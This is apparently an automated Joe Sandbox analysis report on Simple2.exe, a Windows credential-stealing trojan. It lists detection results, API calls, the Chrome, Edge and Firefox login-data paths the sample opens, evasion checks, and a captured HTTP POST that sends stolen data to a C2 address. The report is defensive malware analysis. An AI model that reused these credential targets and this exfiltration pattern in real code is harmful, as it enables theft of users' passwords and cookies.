Edit tour

Windows Analysis Report
Simple2.exe

Overview

General Information

Sample name:	Simple2.exe
Analysis ID:	1569894
MD5:	ed207427a25863f5524d616525943dd5
SHA1:	6b7aa5224f76b8e09d3a8eefdb299e16b37c887f
SHA256:	418b88c4cd03e7da38287324094b5af3843835d63e06fd44c0fb06903d7575b6
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Contains functionality to steal Chrome passwords or cookies

Tries to harvest and steal browser information (history, passwords, etc)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to enumerate network shares

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Detected potential crypto function

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries information about the installed CPU (vendor, model number etc)

Sample execution stops while process was sleeping (likely an evasion)

Classification

Process Tree

System is w10x64

Simple2.exe (PID: 1520 cmdline: "C:\Users\user\Desktop\Simple2.exe" MD5: ED207427A25863F5524D616525943DD5)

conhost.exe (PID: 6392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Simple2.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: Simple2.exe

ReversingLabs: Detection: 54%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.0% probability

Source: Simple2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: eA:\VS Projects\systemConfigChecker\x64\Release\systemConfigChecker.pdb(( source: Simple2.exe
Source:	Binary string: A:\VS Projects\systemConfigChecker\x64\Release\systemConfigChecker.pdb source: Simple2.exe

Source: C:\Users\user\Desktop\Simple2.exe

Code function: 0_2_00007FF6D5CA3A40 memset,NetUserEnum,NetApiBufferFree,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6D5CA3A40

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: WinHTTP/1.0Host: api.ipify.org

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: unknown

HTTP traffic detected: POST /userdata HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WebKitFormBoundaryUser-Agent: WinHTTP/1.0Content-Length: 97256Host: 185.237.165.97

Source: Simple2.exe, 00000000.00000003.2094362886.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360234153.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/
Source: Simple2.exe, 00000000.00000003.2094063431.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2094362886.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360334802.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360234153.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2094263293.0000022EA02EE000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2094263293.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdata
Source: Simple2.exe, 00000000.00000003.2094063431.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360334802.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2094263293.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdatae0
Source: Simple2.exe, 00000000.00000003.2094362886.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360234153.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdatarell
Source: Simple2.exe, 00000000.00000002.2360234153.0000022EA02C8000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2094362886.0000022EA02C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97:80/userdata
Source: Simple2.exe, 00000000.00000002.2360080555.0000022EA02A6000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2059854753.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2060490791.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: Simple2.exe, 00000000.00000002.2360080555.0000022EA02A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/_
Source: Simple2.exe, 00000000.00000002.2360080555.0000022EA02A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/i
Source: Simple2.exe, 00000000.00000003.2059854753.0000022EA02C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org:80/

Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6D5CA1AC0	0_2_00007FF6D5CA1AC0
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6D5CA4CB0	0_2_00007FF6D5CA4CB0
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6D5CA41F0	0_2_00007FF6D5CA41F0
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6D5CA5540	0_2_00007FF6D5CA5540
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6D5CA4570	0_2_00007FF6D5CA4570

Source: classification engine

Classification label: mal68.spyw.winEXE@2/1@1/2

Source: C:\Users\user\Desktop\Simple2.exe

Code function: 0_2_00007FF6D5CA37A0 GetLogicalDrives,memset,GetDiskFreeSpaceExA,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6D5CA37A0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6392:120:WilError_03

Source: Simple2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Simple2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Simple2.exe, 00000000.00000003.2061160015.0000022EA0319000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2061085119.0000022EA0325000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2062262842.0000022EA0324000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2063189521.0000022EA0356000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2062262842.0000022EA034C000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2062176168.0000022EA0330000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2062176168.0000022EA033B000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2063189521.0000022EA0317000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Simple2.exe

ReversingLabs: Detection: 54%

Source: unknown	Process created: C:\Users\user\Desktop\Simple2.exe "C:\Users\user\Desktop\Simple2.exe"
Source: C:\Users\user\Desktop\Simple2.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: Simple2.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Simple2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Simple2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: eA:\VS Projects\systemConfigChecker\x64\Release\systemConfigChecker.pdb(( source: Simple2.exe
Source:	Binary string: A:\VS Projects\systemConfigChecker\x64\Release\systemConfigChecker.pdb source: Simple2.exe

Source: Simple2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Simple2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Simple2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Simple2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Simple2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Simple2.exe

Code function: GetConsoleWindow,ShowWindow,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,GetSystemInfo,memset,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,GlobalMemoryStatusEx,memset,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,malloc,memset,GetAdaptersInfo,malloc,GetAdaptersInfo,free,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,memset,NetGetJoinInformation,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,GetTimeZoneInformation,memset,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,memset,GetModuleFileNameA,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,

0_2_00007FF6D5CA5540

Source: C:\Users\user\Desktop\Simple2.exe TID: 6552

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Simple2.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Simple2.exe

Code function: 0_2_00007FF6D5CA5540 GetConsoleWindow,ShowWindow,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,GetSystemInfo,memset,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,GlobalMemoryStatusEx,memset,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,malloc,memset,GetAdaptersInfo,malloc,GetAdaptersInfo,free,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,memset,NetGetJoinInformation,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,GetTimeZoneInformation,memset,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,memset,GetModuleFileNameA,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,

0_2_00007FF6D5CA5540

Source: Simple2.exe, 00000000.00000003.2094063431.0000022EA0306000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2059936677.0000022EA0306000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360334802.0000022EA0306000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2094263293.0000022EA0306000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360080555.0000022EA02A6000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2060423034.0000022EA0306000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2059797050.0000022EA0306000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Simple2.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Simple2.exe

Code function: 0_2_00007FF6D5CABB0C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6D5CABB0C

Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6D5CABB0C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6D5CABB0C
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6D5CABCB0 SetUnhandledExceptionFilter,	0_2_00007FF6D5CABCB0
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6D5CAB780 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6D5CAB780

Source: C:\Users\user\Desktop\Simple2.exe

Code function: GetLocaleInfoA,GetLocaleInfoA,memset,??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ,??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z,??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ,??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6D5CA3E70

Source: C:\Users\user\Desktop\Simple2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Simple2.exe

Code function: 0_2_00007FF6D5CABD1C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6D5CABD1C

Source: C:\Users\user\Desktop\Simple2.exe

0_2_00007FF6D5CA5540

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\user\Desktop\Simple2.exe	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data		0_2_00007FF6D5CA4CB0
Source: C:\Users\user\Desktop\Simple2.exe	Code function: \AppData\Local\Chromium\User Data\Default\Login Data		0_2_00007FF6D5CA4CB0

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Simple2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Network Share Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	1 Credentials In Files	2 System Time Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	25 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Simple2.exe	54%	ReversingLabs	Win64.Trojan.Generic
Simple2.exe	100%	Avira	TR/AVI.Agent.pvpsx

Source	Detection	Scanner	Label
http://185.237.165.97:80/userdata	0%	Avira URL Cloud	safe
http://185.237.165.97/	0%	Avira URL Cloud	safe
http://185.237.165.97/userdatarell	0%	Avira URL Cloud	safe
http://185.237.165.97/userdatae0	0%	Avira URL Cloud	safe
http://185.237.165.97/userdata	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.12.205	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://api.ipify.org/	Simple2.exe, 00000000.00000002.2360080555.0000022EA02A6000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2059854753.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2060490791.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://api.ipify.org/_	Simple2.exe, 00000000.00000002.2360080555.0000022EA02A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97/userdatarell	Simple2.exe, 00000000.00000003.2094362886.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360234153.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdatae0	Simple2.exe, 00000000.00000003.2094063431.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360334802.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2094263293.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97:80/userdata	Simple2.exe, 00000000.00000002.2360234153.0000022EA02C8000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2094362886.0000022EA02C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.ipify.org/i	Simple2.exe, 00000000.00000002.2360080555.0000022EA02A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://api.ipify.org:80/	Simple2.exe, 00000000.00000003.2059854753.0000022EA02C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97/	Simple2.exe, 00000000.00000003.2094362886.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360234153.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdata	Simple2.exe, 00000000.00000003.2094063431.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2094362886.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360334802.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2360234153.0000022EA02D5000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2094263293.0000022EA02EE000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2094263293.0000022EA02F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.237.165.97	unknown	France		52195	AP-MEDIA-ASPL	false
104.26.12.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569894
Start date and time:	2024-12-06 11:14:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Simple2.exe
Detection:	MAL
Classification:	mal68.spyw.winEXE@2/1@1/2
EGA Information:	Successful, ratio: 100%
